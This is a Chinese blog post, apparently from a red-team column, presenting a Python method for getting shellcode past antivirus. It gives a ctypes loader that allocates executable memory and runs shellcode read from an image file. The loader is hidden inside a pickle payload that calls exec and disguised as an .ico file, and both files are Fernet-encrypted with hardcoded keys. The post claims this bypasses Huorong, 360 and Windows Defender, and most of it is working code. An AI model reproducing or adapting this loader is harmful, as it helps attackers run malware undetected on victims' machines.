【免杀】一种python反序列化免杀方式

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发布于 2022-12-22 18:54:11

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文章被收录于专栏：红蓝对抗红蓝对抗

一种python反序列化免杀方式

1简介

一种python反序列化免杀方式，过火绒、360、windows defender

2正文

一个python加载器

下面具体举例一个python分离加载的例子

import ctypes
f=open('demo.png','rb')
shellcode=f.read()
shellcode=bytearray(shellcode)
#设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
#申请内存
ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#放入shellcode
buf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
   ctypes.c_uint64(ptr),
   buf,
   ctypes.c_int(len(shellcode))
)

#创建一个线程从shellcode放置位置首地址开始执行

handle=ctypes.windll.kernel32.CreateThread(
   
   
   
   ctypes.c_int(0),
   ctypes.c_int(0),
   ctypes.c_uint64(ptr),
   ctypes.c_int(0),
   ctypes.c_int(0),
   ctypes.pointer(ctypes.c_int(0))
)
#等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

意料之中，烂大街的代码，一定过不了免杀的，今天就这里开始一步一步过掉defender

前置基础

pickle，它能够实现任意对象与文本之间的相互转化，也可以实现任意对象与二进制之间的相互转化。也就是说，pickle 可以实现 Python 对象的存储及恢复
crypto graphy.fernet提供python加密lib

>>>from cryptography.fernet importFernet
>>>#Put this somewhere safe!
>>>key =Fernet.generate_key()
>>>f =Fernet(key)
>>>token =f.encrypt(b"Areally secret message. Not for prying eyes.")
>>>token
'...'
>>>f.decrypt(token)
'Areally secret message. Not for prying eyes.'

运用反序列化简单免杀

初步尝试下火绒&&360的免杀能力，这两个相对简单些

加入反序列化语句，进行编码如下

#pickle dump
import pickle

shellcode="""
importctypes

f= open('demo.png', 'rb')
shellcode= f.read()
shellcode= bytearray(shellcode)
#设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64
#申请内存
ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
#放入shellcode
buf= (ctypes.c_char *len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
   ctypes.c_uint64(ptr),
   buf,
   ctypes.c_int(len(shellcode))
)
#创建一个线程从shellcode放置位置首地址开始执行
handle= ctypes.windll.kernel32.CreateThread(
   ctypes.c_int(0),
   ctypes.c_int(0),
   ctypes.c_uint64(ptr),
   ctypes.c_int(0),
   ctypes.c_int(0),
   ctypes.pointer(ctypes.c_int(0))
)
#等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""


class A(object):
   def __reduce__(self):
       return(exec,(shellcode,))


ret=pickle.dumps(A())
with open("test.ico",'wb')asimg:
   img.write(ret)
#pickle load
import pickle
import ctypes
#try:
#    temp = open("test.ico", "rb").read()
#    shellcode = pickle.loads(temp)
#except Exception as err:
#    print("err = {0}".format(err))
#    input("123")


temp=open("test.ico","rb").read()
shellcode=pickle.loads(temp)

#pyinstaller -F .\defender_pickle_load.py

测试结果，bypass火绒

继续测试下260

测试后，比较幸运，直接bypass360

windows defender的绕过

简单总结下，当下的进展

火绒过
360过

首先测试下windows静态扫描

发现ico 和 png文件均报毒

这里的思路不止一种，比如放到服务器、编码静态文件等
下面提供一种思路，利用python-fernet对静态文件进行加密
编码如下

#-*- coding:utf-8 -*
#对静态文件进行加密
from cryptography.fernet import Fernet

#shellcode 加密你也可以分离免杀
test_f=open('demo.png','rb')
shellcode=test_f.read()
shellcode=bytearray(shellcode)

test_f.close()
#加密
key=Fernet.generate_key()
f=Fernet(key)
enc_pay=f.encrypt(bytes(shellcode))
print(key)
print("=========")

#写入shell2.png
test_f=open("./demo2.png","w+")
test_f.write(enc_pay.decode())
test_f.close()
output_key="key= {0}".format(key)
print(output_key)

print("f_obj= Fernet(key)")

print("shellcode= f_obj.decrypt(shellcode)")

print("shellcode= bytearray(shellcode)")


#shellcode 加密你也可以分离免杀
test_f=open('test1.ico','rb')
shellcode=test_f.read()
shellcode=bytearray(shellcode)

test_f.close()
#加密
key=Fernet.generate_key()
f=Fernet(key)
enc_pay=f.encrypt(bytes(shellcode))
print(key)
print("=========")

#写入shell2.png
test_f=open("./test2.ico","w+")
test_f.write(enc_pay.decode())
test_f.close()
output_key="key= {0}".format(key)
print(output_key)

print("f_obj= Fernet(key)")

print("temp= f_obj.decrypt(temp)")

#defender_pickle_dump.py

import pickle

shellcode="""
importctypes
fromcryptography.fernet import Fernet

f= open('demo2.png', 'rb')
shellcode= f.read()
key= b'Qepn_OLOyeXP-ZmoGCgApu0AqcE35VCMwO7t_H0L5co='
f_obj= Fernet(key)
shellcode= f_obj.decrypt(shellcode)
shellcode= bytearray(shellcode)

#设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64
#申请内存
ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
#放入shellcode
buf= (ctypes.c_char *len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
   ctypes.c_uint64(ptr),
   buf,
   ctypes.c_int(len(shellcode))
)
#创建一个线程从shellcode放置位置首地址开始执行
handle= ctypes.windll.kernel32.CreateThread(
   ctypes.c_int(0),
   ctypes.c_int(0),
   ctypes.c_uint64(ptr),
   ctypes.c_int(0),
   ctypes.c_int(0),
   ctypes.pointer(ctypes.c_int(0))
)
#等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""


class A(object):
   def __reduce__(self):
       return(exec,(shellcode,))


ret=pickle.dumps(A())
with open("test1.ico",'wb')asimg:
   img.write(ret)
import pickle
import ctypes
from cryptography.fernet importFernet

#try:
#    temp = open("test.ico", "rb").read()
#    shellcode = pickle.loads(temp)
#except Exception as err:
#    print("err = {0}".format(err))
#    input("123")


temp=open("test2.ico","rb").read()

key=b'M6__BRADkFnVsgeqvLEdFXN59uesecCTctVa-k3UhTw='
f_obj=Fernet(key)
temp=f_obj.decrypt(temp)

shellcode=pickle.loads(temp)